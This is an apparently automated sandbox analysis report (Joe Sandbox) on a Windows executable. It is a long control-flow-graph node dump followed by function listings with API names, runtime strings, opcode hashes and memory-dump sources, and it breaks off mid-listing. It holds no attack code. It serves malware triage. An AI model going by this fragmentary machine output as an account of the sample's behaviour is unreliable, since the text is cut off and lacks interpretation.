7ff658441394 2 API calls 4094->4096 4095->4094 4097 7ff65844154e 4096->4097 4098 7ff658441394 2 API calls 4097->4098 4099 7ff658441558 4098->4099 4100 7ff65844155d 4099->4100 4101 7ff658441394 2 API calls 4099->4101 4102 7ff658441394 2 API calls 4100->4102 4101->4100 4103 7ff658441567 4102->4103 4104 7ff65844156c 4103->4104 4105 7ff658441394 2 API calls 4103->4105 4106 7ff658441394 2 API calls 4104->4106 4105->4104 4107 7ff658441576 4106->4107 4108 7ff65844157b 4107->4108 4109 7ff658441394 2 API calls 4107->4109 4110 7ff658441394 2 API calls 4108->4110 4109->4108 4111 7ff658441585 4110->4111 4112 7ff65844158a 4111->4112 4113 7ff658441394 2 API calls 4111->4113 4114 7ff658441394 2 API calls 4112->4114 4113->4112 4115 7ff658441599 4114->4115 4116 7ff658441394 2 API calls 4115->4116 4117 7ff6584415a3 4116->4117 4118 7ff6584415a8 4117->4118 4119 7ff658441394 2 API calls 4117->4119 4120 7ff658441394 2 API calls 4118->4120 4119->4118 4121 7ff6584415b7 4120->4121 4122 7ff658441394 2 API calls 4121->4122 4123 7ff6584415c1 4122->4123 4124 7ff658441394 2 API calls 4123->4124 4125 7ff6584415c6 4124->4125 4126 7ff658441394 2 API calls 4125->4126 4127 7ff6584415d5 4126->4127 4128 7ff658441394 2 API calls 4127->4128 4129 7ff6584415e4 4128->4129 4130 7ff658441394 2 API calls 4129->4130 4131 7ff6584415f3 4130->4131 4131->3663 4133 7ff658441394 2 API calls 4132->4133 4134 7ff6584415e4 4133->4134 4135 7ff658441394 2 API calls 4134->4135 4136 7ff6584415f3 4135->4136 4136->3663 4138 7ff658441394 2 API calls 4137->4138 4139 7ff658441495 4138->4139 4140 7ff65844149a 4139->4140 4141 7ff658441394 2 API calls 4139->4141 4142 7ff658441394 2 API calls 4140->4142 4141->4140 4143 7ff6584414a4 4142->4143 4144 7ff6584414a9 4143->4144 4145 7ff658441394 2 API calls 4143->4145 4146 7ff658441394 2 API calls 4144->4146 4145->4144 4147 7ff6584414b3 4146->4147 4148 7ff658441394 2 API calls 4147->4148 4149 7ff6584414b8 4148->4149 4150 7ff658441394 2 API calls 4149->4150 4151 7ff6584414c7 4150->4151 4152 7ff658441394 2 API calls 4151->4152 4153 7ff6584414d6 4152->4153 4154 7ff658441394 2 API calls 4153->4154 4155 7ff6584414e5 4154->4155 4156 7ff658441394 2 API calls 4155->4156 4157 7ff6584414f4 4156->4157 4158 7ff658441394 2 API calls 4157->4158 4159 7ff658441503 4158->4159 4160 7ff658441512 4159->4160 4161 7ff658441394 2 API calls 4159->4161 4162 7ff658441394 2 API calls 4160->4162 4161->4160 4163 7ff658441521 4162->4163 4164 7ff658441394 2 API calls 4163->4164 4165 7ff65844152b 4164->4165 4166 7ff658441394 2 API calls 4165->4166 4167 7ff658441530 4166->4167 4168 7ff65844153f 4167->4168 4169 7ff658441394 2 API calls 4167->4169 4170 7ff658441394 2 API calls 4168->4170 4169->4168 4171 7ff65844154e 4170->4171 4172 7ff658441394 2 API calls 4171->4172 4173 7ff658441558 4172->4173 4174 7ff65844155d 4173->4174 4175 7ff658441394 2 API calls 4173->4175 4176 7ff658441394 2 API calls 4174->4176 4175->4174 4177 7ff658441567 4176->4177 4178 7ff65844156c 4177->4178 4179 7ff658441394 2 API calls 4177->4179 4180 7ff658441394 2 API calls 4178->4180 4179->4178 4181 7ff658441576 4180->4181 4182 7ff65844157b 4181->4182 4183 7ff658441394 2 API calls 4181->4183 4184 7ff658441394 2 API calls 4182->4184 4183->4182 4185 7ff658441585 4184->4185 4186 7ff65844158a 4185->4186 4187 7ff658441394 2 API calls 4185->4187 4188 7ff658441394 2 API calls 4186->4188 4187->4186 4189 7ff658441599 4188->4189 4190 7ff658441394 2 API calls 4189->4190 4191 7ff6584415a3 4190->4191 4192 7ff6584415a8 4191->4192 4193 7ff658441394 2 API calls 4191->4193 4194 7ff658441394 2 API calls 4192->4194 4193->4192 4195 7ff6584415b7 4194->4195 4196 7ff658441394 2 API calls 4195->4196 4197 7ff6584415c1 4196->4197 4198 7ff658441394 2 API calls 4197->4198 4199 7ff6584415c6 4198->4199 4200 7ff658441394 2 API calls 4199->4200 4201 7ff6584415d5 4200->4201 4202 7ff658441394 2 API calls 4201->4202 4203 7ff6584415e4 4202->4203 4204 7ff658441394 2 API calls 4203->4204 4205 7ff6584415f3 4204->4205 4205->3656 4206 7ff65844149a 4205->4206 4207 7ff658441394 2 API calls 4206->4207 4208 7ff6584414a4 4207->4208 4209 7ff6584414a9 4208->4209 4210 7ff658441394 2 API calls 4208->4210 4211 7ff658441394 2 API calls 4209->4211 4210->4209 4212 7ff6584414b3 4211->4212 4213 7ff658441394 2 API calls 4212->4213 4214 7ff6584414b8 4213->4214 4215 7ff658441394 2 API calls 4214->4215 4216 7ff6584414c7 4215->4216 4217 7ff658441394 2 API calls 4216->4217 4218 7ff6584414d6 4217->4218 4219 7ff658441394 2 API calls 4218->4219 4220 7ff6584414e5 4219->4220 4221 7ff658441394 2 API calls 4220->4221 4222 7ff6584414f4 4221->4222 4223 7ff658441394 2 API calls 4222->4223 4224 7ff658441503 4223->4224 4225 7ff658441512 4224->4225 4226 7ff658441394 2 API calls 4224->4226 4227 7ff658441394 2 API calls 4225->4227 4226->4225 4228 7ff658441521 4227->4228 4229 7ff658441394 2 API calls 4228->4229 4230 7ff65844152b 4229->4230 4231 7ff658441394 2 API calls 4230->4231 4232 7ff658441530 4231->4232 4233 7ff65844153f 4232->4233 4234 7ff658441394 2 API calls 4232->4234 4235 7ff658441394 2 API calls 4233->4235 4234->4233 4236 7ff65844154e 4235->4236 4237 7ff658441394 2 API calls 4236->4237 4238 7ff658441558 4237->4238 4239 7ff65844155d 4238->4239 4240 7ff658441394 2 API calls 4238->4240 4241 7ff658441394 2 API calls 4239->4241 4240->4239 4242 7ff658441567 4241->4242 4243 7ff65844156c 4242->4243 4244 7ff658441394 2 API calls 4242->4244 4245 7ff658441394 2 API calls 4243->4245 4244->4243 4246 7ff658441576 4245->4246 4247 7ff65844157b 4246->4247 4248 7ff658441394 2 API calls 4246->4248 4249 7ff658441394 2 API calls 4247->4249 4248->4247 4250 7ff658441585 4249->4250 4251 7ff65844158a 4250->4251 4252 7ff658441394 2 API calls 4250->4252 4253 7ff658441394 2 API calls 4251->4253 4252->4251 4254 7ff658441599 4253->4254 4255 7ff658441394 2 API calls 4254->4255 4256 7ff6584415a3 4255->4256 4257 7ff6584415a8 4256->4257 4258 7ff658441394 2 API calls 4256->4258 4259 7ff658441394 2 API calls 4257->4259 4258->4257 4260 7ff6584415b7 4259->4260 4261 7ff658441394 2 API calls 4260->4261 4262 7ff6584415c1 4261->4262 4263 7ff658441394 2 API calls 4262->4263 4264 7ff6584415c6 4263->4264 4265 7ff658441394 2 API calls 4264->4265 4266 7ff6584415d5 4265->4266 4267 7ff658441394 2 API calls 4266->4267 4268 7ff6584415e4 4267->4268 4269 7ff658441394 2 API calls 4268->4269 4270 7ff6584415f3 4269->4270 4270->3656 4270->3667 4272 7ff658441394 2 API calls 4271->4272 4273 7ff658441486 4272->4273 4274 7ff65844148b 4273->4274 4275 7ff658441394 2 API calls 4273->4275 4276 7ff658441394 2 API calls 4274->4276 4275->4274 4277 7ff658441495 4276->4277 4278 7ff65844149a 4277->4278 4279 7ff658441394 2 API calls 4277->4279 4280 7ff658441394 2 API calls 4278->4280 4279->4278 4281 7ff6584414a4 4280->4281 4282 7ff6584414a9 4281->4282 4283 7ff658441394 2 API calls 4281->4283 4284 7ff658441394 2 API calls 4282->4284 4283->4282 4285 7ff6584414b3 4284->4285 4286 7ff658441394 2 API calls 4285->4286 4287 7ff6584414b8 4286->4287 4288 7ff658441394 2 API calls 4287->4288 4289 7ff6584414c7 4288->4289 4290 7ff658441394 2 API calls 4289->4290 4291 7ff6584414d6 4290->4291 4292 7ff658441394 2 API calls 4291->4292 4293 7ff6584414e5 4292->4293 4294 7ff658441394 2 API calls 4293->4294 4295 7ff6584414f4 4294->4295 4296 7ff658441394 2 API calls 4295->4296 4297 7ff658441503 4296->4297 4298 7ff658441512 4297->4298 4299 7ff658441394 2 API calls 4297->4299 4300 7ff658441394 2 API calls 4298->4300 4299->4298 4301 7ff658441521 4300->4301 4302 7ff658441394 2 API calls 4301->4302 4303 7ff65844152b 4302->4303 4304 7ff658441394 2 API calls 4303->4304 4305 7ff658441530 4304->4305 4306 7ff65844153f 4305->4306 4307 7ff658441394 2 API calls 4305->4307 4308 7ff658441394 2 API calls 4306->4308 4307->4306 4309 7ff65844154e 4308->4309 4310 7ff658441394 2 API calls 4309->4310 4311 7ff658441558 4310->4311 4312 7ff65844155d 4311->4312 4313 7ff658441394 2 API calls 4311->4313 4314 7ff658441394 2 API calls 4312->4314 4313->4312 4315 7ff658441567 4314->4315 4316 7ff65844156c 4315->4316 4317 7ff658441394 2 API calls 4315->4317 4318 7ff658441394 2 API calls 4316->4318 4317->4316 4319 7ff658441576 4318->4319 4320 7ff65844157b 4319->4320 4321 7ff658441394 2 API calls 4319->4321 4322 7ff658441394 2 API calls 4320->4322 4321->4320 4323 7ff658441585 4322->4323 4324 7ff65844158a 4323->4324 4325 7ff658441394 2 API calls 4323->4325 4326 7ff658441394 2 API calls 4324->4326 4325->4324 4327 7ff658441599 4326->4327 4328 7ff658441394 2 API calls 4327->4328 4329 7ff6584415a3 4328->4329 4330 7ff6584415a8 4329->4330 4331 7ff658441394 2 API calls 4329->4331 4332 7ff658441394 2 API calls 4330->4332 4331->4330 4333 7ff6584415b7 4332->4333 4334 7ff658441394 2 API calls 4333->4334 4335 7ff6584415c1 4334->4335 4336 7ff658441394 2 API calls 4335->4336 4337 7ff6584415c6 4336->4337 4338 7ff658441394 2 API calls 4337->4338 4339 7ff6584415d5 4338->4339 4340 7ff658441394 2 API calls 4339->4340 4341 7ff6584415e4 4340->4341 4342 7ff658441394 2 API calls 4341->4342 4343 7ff6584415f3 4342->4343 4343->3672 4345 7ff658441394 2 API calls 4344->4345 4346 7ff6584415d5 4345->4346 4347 7ff658441394 2 API calls 4346->4347 4348 7ff6584415e4 4347->4348 4349 7ff658441394 2 API calls 4348->4349 4350 7ff6584415f3 4349->4350 4350->3673 4364 7ff658441800 4365 7ff658441812 4364->4365 4366 7ff658441835 fprintf 4365->4366 4367 7ff658441000 4368 7ff65844108b __set_app_type 4367->4368 4369 7ff658441040 4367->4369 4370 7ff6584410b6 4368->4370 4369->4368 4371 7ff6584410e5 4370->4371 4373 7ff658441e00 4370->4373 4374 7ff6584489d0 __setusermatherr 4373->4374 4391 7ff658442320 strlen 4392 7ff658442337 4391->4392 4393 7ff65844219e 4394 7ff6584421ab EnterCriticalSection 4393->4394 4395 7ff658442272 4393->4395 4396 7ff658442265 LeaveCriticalSection 4394->4396 4398 7ff6584421c8 4394->4398 4396->4395 4397 7ff6584421e9 TlsGetValue GetLastError 4397->4398 4398->4396 4398->4397 4436 7ff658441e65 4437 7ff658441e67 signal 4436->4437 4438 7ff658441e7c 4437->4438 4440 7ff658441e99 4437->4440 4439 7ff658441e82 signal 4438->4439 4438->4440 4439->4440 4375 7ff658442104 4376 7ff658442111 EnterCriticalSection 4375->4376 4381 7ff658442218 4375->4381 4377 7ff65844220b LeaveCriticalSection 4376->4377 4382 7ff65844212e 4376->4382 4377->4381 4378 7ff658442272 4379 7ff65844214d TlsGetValue GetLastError 4379->4382 4380 7ff658442241 DeleteCriticalSection 4380->4378 4381->4378 4381->4380 4383 7ff658442230 free 4381->4383 4382->4377 4382->4379 4383->4380 4383->4383

                                                                          Executed Functions

                                                                          Function 00007FF658441160 Relevance: 13.6, APIs: 9, Instructions: 130sleepstringCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                                                          • String ID:
                                                                          • API String ID: 2643109117-0
                                                                          • Opcode ID: 33147b93d3701e335beab6acdd25239b8f55d89fcc81f6933ad477664c7f4a0a
                                                                          • Instruction ID: 82233aaab74ffa4821c771d4a805e502b3a7d0966b67a9b48052b5b4d1c2bde9
                                                                          • Opcode Fuzzy Hash: 33147b93d3701e335beab6acdd25239b8f55d89fcc81f6933ad477664c7f4a0a
                                                                          • Instruction Fuzzy Hash: A6510531E19A4285FB51AF36E95137927A0BFC8790F085032CD8DE7BB2EF2CA4519309
                                                                          Function 00007FF658441394 Relevance: 1.5, APIs: 1, Instructions: 24filenativeCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • NtCancelIoFileEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF658441156), ref: 00007FF6584413F7
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: CancelFile
                                                                          • String ID:
                                                                          • API String ID: 2872239956-0
                                                                          • Opcode ID: 34d4e340c9d6daee3032bc7e0544f00e0151ab38925e07877774b2b67457b6f5
                                                                          • Instruction ID: 11465d57e3376b2477e7cae59caa1d88b1f6de03a4e8bfb3eb1013286fabd225
                                                                          • Opcode Fuzzy Hash: 34d4e340c9d6daee3032bc7e0544f00e0151ab38925e07877774b2b67457b6f5
                                                                          • Instruction Fuzzy Hash: 97F0C971908B4182E614DFA5F84102A7760FB88785F044435EEDCA3B36EF3DE0508B48

                                                                          Non-executed Functions

                                                                          Function 00007FF658443B50 Relevance: 121.3, APIs: 67, Strings: 1, Instructions: 2261COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: wcslen$memset$wcscat$wcscpy$_wcsnicmp$memcpy$_wcsicmp
                                                                          • String ID:
                                                                          • API String ID: 3604702941-3916222277
                                                                          • Opcode ID: 3e14a28218d6d76baf1163010b6397c4634e0c179f6926795b033b3a211afeca
                                                                          • Instruction ID: 39729994a7e8716b6579dc02434d90d1d70fcac49a03db2b403807c05b3e6fc7
                                                                          • Opcode Fuzzy Hash: 3e14a28218d6d76baf1163010b6397c4634e0c179f6926795b033b3a211afeca
                                                                          • Instruction Fuzzy Hash: C553E761D2C6C294FB219F39A8423F46760AF95344F4C5236DD8CB6EB6EF6D6244A30C
                                                                          Function 00007FF658443350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: memset$wcscatwcscpywcslen
                                                                          • String ID: $0$0$@$@
                                                                          • API String ID: 4263182637-1413854666
                                                                          • Opcode ID: 93e0492ec2d255cc4c75789877eed90ff2c504d1749edde826e88f854269cb75
                                                                          • Instruction ID: 498acba9513eb84619387d58f13d5fb1077a4b5d784e7eb3917228219123eaec
                                                                          • Opcode Fuzzy Hash: 93e0492ec2d255cc4c75789877eed90ff2c504d1749edde826e88f854269cb75
                                                                          • Instruction Fuzzy Hash: BAB1592190CAC285E7219F25E4457AAB7A0FFC4748F084235EEC9A3EA6DF7CD145CB08
                                                                          Function 00007FF658442690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                                                          • String ID: 0$X$`
                                                                          • API String ID: 329590056-2527496196
                                                                          • Opcode ID: 4d71adc5166bee8b33192e5275f9d93b346423a90138f906295783fdbadf67bc
                                                                          • Instruction ID: 3d81e54a47b92bda642c729d24b8e616d18e38300572f63d1ea6c4c2915e51a9
                                                                          • Opcode Fuzzy Hash: 4d71adc5166bee8b33192e5275f9d93b346423a90138f906295783fdbadf67bc
                                                                          • Instruction Fuzzy Hash: 57028022918BC185E7209F25E8443AA7BA0FB857A8F184235DEDCA7BE5DF7CD145C708
                                                                          Function 00007FF658441BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • VirtualQuery.KERNEL32(?,?,?,?,00007FF65844A4B8,00007FF65844A4B8,?,?,00007FF658440000,?,00007FF658441991), ref: 00007FF658441C63
                                                                          • VirtualProtect.KERNEL32(?,?,?,?,00007FF65844A4B8,00007FF65844A4B8,?,?,00007FF658440000,?,00007FF658441991), ref: 00007FF658441CC7
                                                                          • memcpy.MSVCRT ref: 00007FF658441CE0
                                                                          • GetLastError.KERNEL32(?,?,?,?,00007FF65844A4B8,00007FF65844A4B8,?,?,00007FF658440000,?,00007FF658441991), ref: 00007FF658441D23
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                                          • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                                          • API String ID: 2595394609-2123141913
                                                                          • Opcode ID: c13bc184f9e468ca946f01b08c36f6b322e0f33552aa0b983c741c1689b64d87
                                                                          • Instruction ID: 260ef8360b3b6c71dfeab8dc4426dafd562cce8ec681fde6c7fd9329b267d4e4
                                                                          • Opcode Fuzzy Hash: c13bc184f9e468ca946f01b08c36f6b322e0f33552aa0b983c741c1689b64d87
                                                                          • Instruction Fuzzy Hash: 56417FB1A09A4681FA50AF66D8446B927A0EBC4B80F194132DE8DE7BB1DF3CE545D308
                                                                          Function 00007FF658442104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                                          • String ID:
                                                                          • API String ID: 3326252324-0
                                                                          • Opcode ID: 4ca88a61bf9d3773c0a6e185415e83dc06056944375869d0337bfc238e227df4
                                                                          • Instruction ID: 7c52fffe1e7310888b623f81a8ddb8517ccf2ec8d13c2315df62c1f2ccf7c810
                                                                          • Opcode Fuzzy Hash: 4ca88a61bf9d3773c0a6e185415e83dc06056944375869d0337bfc238e227df4
                                                                          • Instruction Fuzzy Hash: 8921BB21B1991282FB699F72E9443752260BF94B90F5C0031DD9EF7FB5DF2CA8469308
                                                                          Function 00007FF658441E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 640 7ff658441e10-7ff658441e2d 641 7ff658441e2f-7ff658441e38 640->641 642 7ff658441e3e-7ff658441e48 640->642 641->642 643 7ff658441f60-7ff658441f69 641->643 644 7ff658441e4a-7ff658441e53 642->644 645 7ff658441ea3-7ff658441ea8 642->645 647 7ff658441ecc-7ff658441ed1 644->647 648 7ff658441e55-7ff658441e60 644->648 645->643 646 7ff658441eae-7ff658441eb3 645->646 649 7ff658441efb-7ff658441f0a call 7ff6584489e0 646->649 650 7ff658441eb5-7ff658441eba 646->650 651 7ff658441f23-7ff658441f2d 647->651 652 7ff658441ed3-7ff658441ee2 signal 647->652 648->645 649->651 662 7ff658441f0c-7ff658441f10 649->662 650->643 653 7ff658441ec0 650->653 654 7ff658441f2f-7ff658441f3f 651->654 655 7ff658441f43-7ff658441f45 651->655 652->651 656 7ff658441ee4-7ff658441ee8 652->656 653->651 661 7ff658441f5a 654->661 655->643 658 7ff658441eea-7ff658441ef9 signal 656->658 659 7ff658441f4e-7ff658441f53 656->659 658->643 659->661 661->643 663 7ff658441f55 662->663 664 7ff658441f12-7ff658441f21 signal 662->664 663->661 664->643 664->651
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353040460.00007FF658449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353065323.00007FF65844B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353119640.00007FF65844C000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1353946011.00007FF6586C2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354186440.00007FF6586C4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1354478394.00007FF6586C8000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_7ff658440000_rLaC8kO1rD.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: CCG
                                                                          • API String ID: 0-1584390748
                                                                          • Opcode ID: 37ee16624aa9777020c0451daf6486887ee32cab52f9089ef5a409978db14931
                                                                          • Instruction ID: 089f607f6d175b37554f17b3e58537e6587905e4fd5f14a645559f1ff12b7494
                                                                          • Opcode Fuzzy Hash: 37ee16624aa9777020c0451daf6486887ee32cab52f9089ef5a409978db14931
                                                                          • Instruction Fuzzy Hash: 1821AE21F0850642FB746A3496813791181EFC87A4F2C8132DD8DE3BF5DF2CA8838349
                                                                          Function 00007FF658441880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF658441247), ref: 00007FF6584419F9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1352967598.00007FF658441000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF658440000, based on PE: true
                                                                          • Associated: 00000000.00000002.1352929332.00007FF658440000.00000002.00000001.01000000.00000003.sdmpDownload File
